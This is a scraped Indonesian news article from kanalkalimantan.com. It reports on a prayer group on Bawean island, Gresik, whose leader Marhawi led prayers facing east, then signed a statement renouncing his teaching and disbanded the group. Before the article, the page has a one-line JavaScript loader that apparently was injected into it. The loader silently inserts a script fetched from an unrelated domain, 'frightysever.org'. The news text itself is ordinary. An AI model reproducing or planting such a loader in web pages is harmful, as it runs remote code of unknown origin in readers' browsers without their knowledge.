(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Ada praktik sholat dan wirid tak lazim karena menghadap ke arah timur di sebuah mushola di Pulau Bawean, Gresik, Jawa Timur.
Berdasarkan informasi yang dihimpun, cara sholat dan wirid itu terjadi di Mushola Desa Batu Sendi, Kecamatan Sangkapura. Di dalam mushola itu, ada puluhan orang lengkap mengenakan busana muslim, sarung dan peci.
Mereka sedang melakukan sholat dan wirid dengan dipimpin oleh Marhawi (46) yang menjadi ketua kelompoknya.
Selain sholat menghadap ke timur. Gerakan wirid yang dilakukan kelompok itu aneh. Pasalnya, mereka melakukan gerakan tangan dengan posisi menyilang yang tidak lazim yang biasanya dilakukan orang saat wirid.
Terkait adanya aliran peribadah tak lazim itu, Kepala Desa Lebak Fadal bersama Ketua Majelis Ulama Indonesia (MUI) Kecamatan Sangkapura langsung mendatangi kediaman Marhawi. Kebetulan, Marhawi adalah warganya.
Dari pertemuan tersebut, Marhawi mengakui adanya ajaran menyimpang. Salah satu contohnya, datangnya wahyu yang langsung kepada Marhawi.
“Semalam kami sudah mendatangi ke kediaman Marhawi dan langsung membuat surat pernyataan,” ucap Fadal saat dikonfirmasi melalui sambungan seluler, Kamis (28/05/2020).
Dalam surat pernyataan tersebut, Marhawi selain mengakui ajarannya menyimpang juga akan kembali kepada ajaran islam dan membubarkan kelompok pengikutnya.
Sebelumnya, Marhawi ini adalah seorang nelayan dan dikenal sebagai dukun atau supranatural di desanya.
Marhawi saat dikonfirmasi membenarkan bahwa telah membuat surat pernyataan itu. Warga Desa Lebak ini mengaku memiliki kelompok sebanyak 30 orang.
Ia menjelaskan, saat itu sholat dan wirid menghadap timur karena keadaan saja. Bukan disengaja atau dibuat-buat.
“Saat itu mushola penuh. Kami akhirnya menghadap ke timur dan itu spontan tidak disengaja,” paparnya.
Saat ditanya kenapa wirid dengan posisi tangan menyilang. Dikatakan Marhawi, dirinya tidak menampik menggunakan gerakan itu dan itu sangat wajar.
“Ada kabar sewaktu melakukan gerakan tersebut, saya bisa memanggil malaikat, dan mendapat wahyu langsung dari Allah. Hal itu sama sekali tidak benar alias bohong. Semua itu adalah fitnah,” ungkapnya.
Ia menambahkan, usai dirinya membuat surat pernyataan bermaterai langsung membubarkan kelompoknya yang baru dibentuk beberapa bulan lalu.
“Langsung saya bubarkan, kelompok itu juga belum ada namanya,” imbuhnya. (suara.com)
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
This website uses cookies.